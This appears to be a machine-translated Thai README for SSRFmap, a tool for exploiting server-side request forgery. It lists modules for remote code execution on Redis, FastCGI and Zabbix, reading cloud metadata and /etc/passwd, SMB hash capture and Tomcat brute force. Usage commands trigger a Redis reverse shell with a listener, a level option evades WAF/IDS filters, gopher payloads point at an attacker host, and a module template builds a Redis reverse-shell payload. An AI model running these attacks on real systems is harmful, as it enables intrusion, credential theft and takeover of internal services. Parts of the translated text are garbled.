SSRF มักใช้เพื่อใช้ประโยชน์จากการดำเนินการกับบริการอื่น ๆ กรอบงานนี้มีจุดมุ่งหมายเพื่อค้นหาและใช้ประโยชน์จากบริการเหล่านี้ได้อย่างง่ายดาย SSRFmap รับไฟล์คำขอ Burp เป็นอินพุตและเป็นพารามิเตอร์เพื่อคลุมเครือ
Server Side Request Forgery หรือ SSRF เป็นช่องโหว่ที่ผู้โจมตีบังคับให้เซิร์ฟเวอร์ดำเนินการตามคำขอในนามของพวกเขา
โมดูลต่อไปนี้ได้รับการใช้งานแล้วและสามารถใช้กับอาร์กิวเมนต์ -m
ได้
ชื่อ | คำอธิบาย |
---|---|
axfr | การถ่ายโอนโซน DNS (AXFR) |
fastcgi | FastCGI RCE |
redis | เรดิส RCE |
github | Github องค์กร RCE < 2.8.7 |
zabbix | แซ่บบ็อกซ์ RCE |
mysql | การดำเนินการคำสั่ง MySQL |
postgres | การดำเนินการคำสั่ง Postgres |
docker | Docker Infoleaks ผ่าน API |
smtp | SMTP ส่งจดหมาย |
portscan | สแกนพอร์ต 8000 อันดับแรกสำหรับโฮสต์ |
networkscan | HTTP Ping กวาดผ่านเครือข่าย |
readfiles | อ่านไฟล์เช่น /etc/passwd |
alibaba | อ่านไฟล์จากผู้ให้บริการ (เช่น: meta-data, user-data) |
aws | อ่านไฟล์จากผู้ให้บริการ (เช่น: meta-data, user-data) |
gce | อ่านไฟล์จากผู้ให้บริการ (เช่น: meta-data, user-data) |
digitalocean | อ่านไฟล์จากผู้ให้บริการ (เช่น: meta-data, user-data) |
socksproxy | SOCKS4 พร็อกซี |
smbhash | บังคับการรับรองความถูกต้อง SMB ผ่านเส้นทาง UNC |
tomcat | การโจมตีแบบ Bruteforce ต่อ Tomcat Manager |
custom | ส่งข้อมูลที่กำหนดเองไปยังบริการการฟัง เช่น netcat |
memcache | จัดเก็บข้อมูลภายในอินสแตนซ์ Memcache |
จากพื้นที่เก็บข้อมูล Github
$ git clone https: // github.com / swisskyrepo / SSRFmap
$ cd SSRFmap /
$ pip3 install - r requirements.txt
$ python3 ssrfmap.py
usage: ssrfmap.py [ - h ] [ - r REQFILE ] [ - p PARAM ] [ - m MODULES ] [ - l HANDLER ]
[ - v [ VERBOSE ]] [ -- lhost LHOST ] [ -- lport LPORT ]
[ -- uagent USERAGENT ] [ -- ssl [ SSL ]] [ -- level [ LEVEL ]]
optional arguments:
- h , -- help show this help message and exit
- r REQFILE SSRF Request file
- p PARAM SSRF Parameter to target
- m MODULES SSRF Modules to enable
- l HANDLER Start an handler for a reverse shell
- v [ VERBOSE ] Enable verbosity
-- lhost LHOST LHOST reverse shell or IP to target in the network
-- lport LPORT LPORT reverse shell or port to target in the network
-- uagent USERAGENT User Agent to use
-- ssl [ SSL ] Use HTTPS without verification
-- proxy PROXY Use HTTP(s) proxy (ex: http: // localhost: 8080 )
-- level [ LEVEL ] Level of test to perform ( 1 - 5 , default : 1 )
นักเทียบท่า
$ git clone https: // github.com / swisskyrepo / SSRFmap
$ docker build -- no - cache - t ssrfmap .
$ docker run - it ssrfmap ssrfmap.py [ OPTIONS ]
$ docker run - it - v $ (pwd): / usr / src / app ssrfmap ssrfmap.py
ก่อนอื่นคุณต้องมีคำขอที่มีพารามิเตอร์เพื่อคลุมเครือ คำขอ Burp จะทำงานได้ดีกับ SSRFmap ควรมีลักษณะดังนี้ มีตัวอย่างเพิ่มเติมอยู่ในโฟลเดอร์ . /examples
POST / ssrf HTTP / 1.1
Host: 127.0 . 0.1 : 5000
User - Agent: Mozilla / 5.0 (X11; Linux x86_64; rv: 62.0 ) Gecko / 20100101 Firefox / 62.0
Accept: text / html , application / xhtml + xml , application / xml;q = 0.9 , */* ;q = 0.8
Accept - Language: en - US , en;q = 0.5
Accept - Encoding: gzip , deflate
Referer: http: // mysimple.ssrf /
Content - Type: application / x - www - form - urlencoded
Content - Length: 31
Connection: close
Upgrade - Insecure - Requests: 1
url = https % 3A % 2F % 2Fwww.google.fr
ใช้ -m
ตามด้วยชื่อโมดูล (คั่นด้วย ,
หากคุณต้องการเปิดหลายโมดูล)
# Launch a portscan on localhost and read default files
python ssrfmap.py - r examples / request.txt - p url - m readfiles , portscan
หากคุณต้องการแทรกภายในพารามิเตอร์ส่วนหัว GET หรือ POST คุณจะต้องระบุชื่อพารามิเตอร์เท่านั้น
python ssrfmap.py - r examples / request6.txt - p X - Custom - Header - m readfiles -- rfiles / tmp / test
หากคุณต้องการมีตัวแทนผู้ใช้ที่กำหนดเองให้ใช้ --uagent
เป้าหมายบางส่วนจะใช้ HTTPS คุณสามารถเปิดใช้งานได้ด้วย --ssl
# Launch a portscan against an HTTPS endpoint using a custom user-agent
python ssrfmap.py - r examples / request.txt - p url - m portscan -- ssl -- uagent " SSRFmapAgent "
บางโมดูลอนุญาตให้คุณสร้างการเชื่อมต่อกลับ คุณต้องระบุ LHOST
และ LPORT
SSRFmap ยังสามารถฟังเชลล์ย้อนกลับที่เข้ามาได้
# Triggering a reverse shell on a Redis
python ssrfmap.py - r examples / request.txt - p url - m redis -- lhost = 127.0 . 0.1 -- lport = 4242 - l 4242
# -l create a listener for reverse shell on the specified port
# --lhost and --lport work like in Metasploit, these values are used to create a reverse shell payload
เมื่อเป้าหมายได้รับการปกป้องโดย WAF หรือตัวกรองบางตัว คุณสามารถลองใช้เพย์โหลดที่หลากหลายและเข้ารหัสด้วยพารามิเตอร์ --level
# --level : ability to tweak payloads in order to bypass some IDS/WAF. e.g: 127.0.0.1 -> [::] -> 0000: -> ...
วิธีที่รวดเร็วในการทดสอบเฟรมเวิร์กสามารถทำได้ด้วยบริการ data/example.py
SSRF
ท้องถิ่น
FLASK_APP = examples / example.py flask run &
python ssrfmap.py - r examples / request.txt - p url - m readfiles
นักเทียบท่า
docker build -- no - cache - t ssrfmap .
# run example ssrf http service
docker run - it - v $ (pwd): / usr / src / app -- name example ssrfmap examples / example.py
# run example ssrf dns service
docker exec - u root:root - it example python examples / ssrf_dns.py
# run ssrfmap tool
docker exec - it example python ssrfmap.py - r examples / request.txt - p url - m readfiles
เปิดตัวคำขอทดสอบ:
docker exec - it example python ssrfmap.py - r examples / request.txt - p url - m readfiles -- rfiles / etc / issue
docker exec - it example python ssrfmap.py - r examples / request2.txt - p url - m readfiles -- rfiles / etc / issue
docker exec - it example python ssrfmap.py - r examples / request3.txt - p url - m readfiles -- rfiles / etc / issue
docker exec - it example python ssrfmap.py - r examples / request4.txt - p url - m readfiles -- rfiles / etc / issue
docker exec - it example python ssrfmap.py - r examples / request5.txt - p url - m readfiles -- rfiles / etc / issue
docker exec - it example python ssrfmap.py - r examples / request6.txt - p X - Custom - Header - m readfiles -- rfiles / etc / issue
docker exec - it example python ssrfmap.py - r examples / request.txt - p url - m axfr
docker exec - it example python ssrfmap.py - r examples / request3.txt - p url - m axfr -- lhost 127.0 . 0.1 -- lport 53 -- ldomain example.lab
ฉัน ❤️ ดึงคำขอ :) คุณสามารถเพิ่มคุณสมบัติใด ๆ ที่ระบุไว้ด้านล่างหรือบริการใหม่ได้ตามต้องการ
gopher: // < proxyserver > : 8080 / _GET http: // < attacker: 80 > / x HTTP / 1.1 % 0A % 0A
gopher: // < proxyserver > : 8080 / _POST % 20http: // < attacker > : 80 / x % 20HTTP / 1.1 % 0ACookie: % 20eatme % 0A % 0AI + am + a + post + body
รหัสต่อไปนี้เป็นเทมเพลตหากคุณต้องการเพิ่มโมดูลที่โต้ตอบกับบริการ
from core . utils import *
import logging
name = "servicename in lowercase"
description = "ServiceName RCE - What does it do"
author = "Name or pseudo of the author"
documentation = [ "http://link_to_a_research" , "http://another_link" ]
class exploit ():
SERVER_HOST = "127.0.0.1"
SERVER_PORT = "4242"
def __init__ ( self , requester , args ):
logging . info ( "Module '{}' launched !" . format ( name ))
# Handle args for reverse shell
if args . lhost == None : self . SERVER_HOST = input ( "Server Host:" )
else : self . SERVER_HOST = args . lhost
if args . lport == None : self . SERVER_PORT = input ( "Server Port:" )
else : self . SERVER_PORT = args . lport
# Data for the service
# Using a generator to create the host list
# Edit the following ip if you need to target something else
gen_host = gen_ip_list ( "127.0.0.1" , args . level )
for ip in gen_host :
port = "6379"
data = "*1%0d%0a$8%0d%0aflus[...]%0aquit%0d%0a"
payload = wrapper_gopher ( data , ip , port )
# Handle args for reverse shell
payload = payload . replace ( "SERVER_HOST" , self . SERVER_HOST )
payload = payload . replace ( "SERVER_PORT" , self . SERVER_PORT )
# Send the payload
r = requester . do_request ( args . param , payload )
คุณยังสามารถมีส่วนร่วมกับเบียร์ IRL หรือผ่านทางปุ่มผู้สนับสนุน Github